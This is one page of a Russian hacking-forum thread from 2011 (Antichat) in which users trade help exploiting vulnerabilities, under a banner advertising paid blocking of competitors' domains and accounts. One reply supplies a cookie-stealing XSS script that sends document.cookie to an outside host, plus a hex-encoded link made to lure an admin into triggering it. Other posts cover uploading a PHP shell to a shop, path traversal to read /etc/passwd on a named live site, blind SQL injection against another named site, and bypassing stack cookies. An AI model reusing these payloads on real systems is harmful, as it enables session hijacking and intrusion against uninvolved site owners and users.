Ваши вопросы по уязвимостям.

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 1787 из 2438

1787

Опции темы

Поиск в этой теме

Опции просмотра

#17861

12.08.2011, 14:09

herfleisch

Участник форума

Регистрация: 07.01.2009

Сообщений: 237

С нами: 9126697

Репутация: 97

Пытаюсь эксплуатировать Stack Overflow в обычном strcpy(). Успешно переписал адрес возврата из функции, но перед возвратом вызывается проверка:

Код:

call __security_check_cookie

Есть ли способы её обойти?

Windows XP

#17862

12.08.2011, 16:44

winstrool

Познающий

Регистрация: 06.03.2007

Сообщений: 59

С нами: 10095779

Репутация: 137

Цитата:

Сообщение от ridik77

winstrool, это как поставить где нибуть снифер? я зареган на hacker-pro, здесь есть такой ява скрипт-
img = new Image(); img.src = "http://httpz.ru/nypbi4u80f5.gif?"+document.cookie;
и есть ява скрипт для адресной строки- javascript:document.write('img = new Image(); img.src = "http://httpz.ru/nypbi4u80f5.gif?"+document.cookie;')
куда и как подставлять? куки должны сразу прейти или надо ждать?

в твоем случае в адресную строку следовательно и скрипт нужно для адресной строки, такжже чтоб сильно глаза не резало, переведи в хекс, прийдется подождать пока админ перейдет по ссылке...

P/S:вот подготовил код твоего снифака тебе остается подставить только название сайта:

Цитата:

Сообщение от None

ххх.com/?a=login&say=invalid_login&username=%22%3e%3c%73%6 3%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f% 63%61%74%69%6f%6e%3d%22%68%74%74%70%3a%2f%2f%68%74 %74%70%7a%2e%72%75%2f%6e%79%70%62%69%34%75%38%30%6 6%35%2e%67%69%66%3f%22%2b%64%6f%63%75%6d%65%6e%74% 2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

#17863

12.08.2011, 17:23

ridik77

Новичок

Регистрация: 09.08.2011

Сообщений: 5

С нами: 7768406

Репутация: 0

winstrool спасибо, ввел в адресною строку и поле Username: осталось а поле Password: исчезло.

и еще я вводил скрипт не помню какой но выскочило это: PHP SESSID= 0bd2283e6ef3fb5919658b34c3b460ec что это?

#17864

12.08.2011, 17:28

XAMEHA

Новичок

Регистрация: 15.05.2010

Сообщений: 0

С нами: 8417113

Репутация: 0

Цитата:

Сообщение от ridik77

winstrool спасибо, ввел в адресною строку и поле Username: осталось а поле Password: исчезло.
и еще я вводил скрипт не помню какой но выскочило это: PHP SESSID= 0bd2283e6ef3fb5919658b34c3b460ec что это?

Куки это. Обратись к стандартному мануалу по использованию XSS:

http://ha.ckers.org/xss.html

/showthread.php?t=42326

/thread20140.html

#17865

12.08.2011, 18:37

GroM88

Познающий

Регистрация: 25.10.2007

Сообщений: 46

С нами: 9761387

Репутация: 2

Собсно такой вопрос... в шопе к продукту вместо pdf файла залил шелл

затем захожу в продукт и вижу свой файл мол shell.php, тыкаю по нему, мне вылазит мол сохранить файл.

Сылка скачки фала такого вида

http://site.com/getfile.php?id=346 можно ли как то определить где хранится сам файл что бы его выполнить?

#17866

12.08.2011, 19:06

Koren

Новичок

Регистрация: 11.07.2009

Сообщений: 3

С нами: 8860452

Репутация: 0

http://www.multiplaz.ru/download//..%252f..%252f..%252f..%252f..%252f..%252f..%252f. .%252fetc/passwd

от этого можно получить что то большее? чем раскрытие путей

#17867

12.08.2011, 19:36

Expl0ited

Познавший АНТИЧАТ

Регистрация: 16.07.2010

Сообщений: 1,022

С нами: 8328566

Репутация: 935

Цитата:

Сообщение от GroM88

Собсно такой вопрос... в шопе к продукту вместо pdf файла залил шелл
затем захожу в продукт и вижу свой файл мол shell.php, тыкаю по нему, мне вылазит мол сохранить файл.
Сылка скачки фала такого вида
http://site.com/getfile.php?id=346 можно ли как то определить где хранится сам файл что бы его выполнить?

Скорее всего в базе

#17868

12.08.2011, 21:20

Faaax

Постоянный

Регистрация: 30.08.2010

Сообщений: 327

С нами: 8263766

Репутация: 11

погомогите плз!

собственно нашёл blind,но не могу раскрутить!

Код:

http://elecsnet.ru/search/?rid=23359

#17869

12.08.2011, 23:41

Melfis

Постоянный

Регистрация: 25.04.2011

Сообщений: 505

С нами: 7921046

Репутация: 53

Цитата:

Сообщение от Faaax

погомогите плз!
собственно нашёл blind,но не могу раскрутить!

Код:

http://elecsnet.ru/search/?rid=23359

в каком месте тут скуль?

#17870

13.08.2011, 05:16

Unknown

Новичок

Регистрация: 21.06.2005

Сообщений: 1

С нами: 10992741

Репутация: 0

Интересует такой вопрос в книге по безопасности php говорилось допустим у нас есть запрос на выбору

mysql_query ("SELECT * FROM user WHERE id='$id'");

$id = числу но можно подставить следующие при должно проверки

$id= 10 OR nick=ADMIN и запрос будет типа

mysql_query ("SELECT * FROM user WHERE id='10 OR nick=ADMIN'");

в вожу в адресной строке следующее

http://site.ru/user.php?id=10 or nick=ADMIN

почему не срабатывает? обработки id нету ибо я сам писал запрос

Страница 1787 из 2438

1787

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход